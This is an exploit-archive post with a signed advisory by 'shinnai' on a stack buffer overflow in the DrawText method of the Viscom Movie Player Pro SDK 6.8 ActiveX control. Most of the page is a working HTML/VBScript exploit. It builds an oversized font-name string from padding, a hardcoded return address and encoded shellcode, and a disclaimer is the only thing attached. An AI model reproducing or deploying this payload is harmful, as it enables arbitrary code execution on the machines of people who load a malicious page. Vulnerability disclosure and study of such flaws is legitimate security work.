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Viscom Movie Player Pro SDK 6.8 Buffer Overflow

Viscom Movie Player Pro SDK 6.8 Buffer Overflow
Posted Apr 20, 2010
Authored by shinnai

Viscom Software Movie Player Pro SDK version 6.8 suffers from an Active-X related buffer overflow vulnerability.

tags | exploit, overflow, activex
SHA-256 | b48017e490f339f4951f725955f191ca1b85f6c188585cca4420cb71403509bc

Viscom Movie Player Pro SDK 6.8 Buffer Overflow

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -----------------------------------------------------------------------------
Viscom Software Movie Player Pro SDK ActiveX 6.8 Remote Buffer Overflow
url: http://www.viscomsoft.com/

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net/

File name: MoviePlayer.ocx
Version: 6.8.0.0
GUID: {F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E}
ProgID: MOVIEPLAYER.MoviePlayerCtrl.1
Description: MoviePlayer Pro ActiveX

Safety report: RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller, data
IPStorage Safe: Safe for untrusted: caller, data

Vuln. Method: "DrawText"
Vuln. Param.: "strFontName"

Description: A stack-based buffer overflow occurs when you pass to
"strFontName" parameter a string overly long than 24
bytes which leads into EIP overwrite allowing the
execution of arbitrary code in the context of the logged
on user.
This happens because an inadequate space is stored
into the buffer intended to receive the font name.


This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on:
Windows XP Professional SP3 with Internet Explorer 8
Windows 2000 Professional SP4 with Internet Explorer 6 (working exploit)
- - -----------------------------------------------------------------------------

<html>
<object classid='clsid:F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E' id='test'></object>
<script language = 'vbscript'>

buf_1 = String(32, "A")

pwEIP = unescape("%40%46%E3%77") 'call EBP from user32.dll Win 2k Pro

buf_2 = String(416, "A")

sCode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34") & _
unescape("%42%50%42%30%42%50%4b%38%45%44%4e%43%4b%38%4e%47") & _
unescape("%45%30%4a%47%41%30%4f%4e%4b%48%4f%54%4a%41%4b%38") & _
unescape("%4f%55%42%52%41%30%4b%4e%49%54%4b%48%46%33%4b%48") & _
unescape("%41%50%50%4e%41%43%42%4c%49%59%4e%4a%46%48%42%4c") & _
unescape("%46%47%47%50%41%4c%4c%4c%4d%50%41%50%44%4c%4b%4e") & _
unescape("%46%4f%4b%43%46%35%46%52%46%30%45%37%45%4e%4b%58") & _
unescape("%4f%45%46%42%41%50%4b%4e%48%46%4b%48%4e%30%4b%44") & _
unescape("%4b%48%4f%35%4e%41%41%30%4b%4e%4b%38%4e%51%4b%38") & _
unescape("%41%50%4b%4e%49%38%4e%45%46%32%46%50%43%4c%41%33") & _
unescape("%42%4c%46%46%4b%48%42%34%42%33%45%38%42%4c%4a%47") & _
unescape("%4e%30%4b%38%42%34%4e%50%4b%58%42%47%4e%41%4d%4a") & _
unescape("%4b%58%4a%36%4a%30%4b%4e%49%50%4b%48%42%48%42%4b") & _
unescape("%42%30%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%33") & _
unescape("%48%4f%42%46%48%35%49%38%4a%4f%43%58%42%4c%4b%37") & _
unescape("%42%55%4a%36%42%4f%4c%58%46%50%4f%35%4a%36%4a%59") & _
unescape("%50%4f%4c%38%50%50%47%55%4f%4f%47%4e%43%56%41%56") & _
unescape("%4e%46%43%56%50%32%45%46%4a%37%45%36%42%50%5a")

buf_3 = String(4899, "A")

egg = buf_1 & pwEIP & buf_2 & sCode & buf_3

test.DrawText 1, 1, 1, "", 1, egg, True, True, True, 1, 1, 1, 1, 1, 1

</script>
</html>

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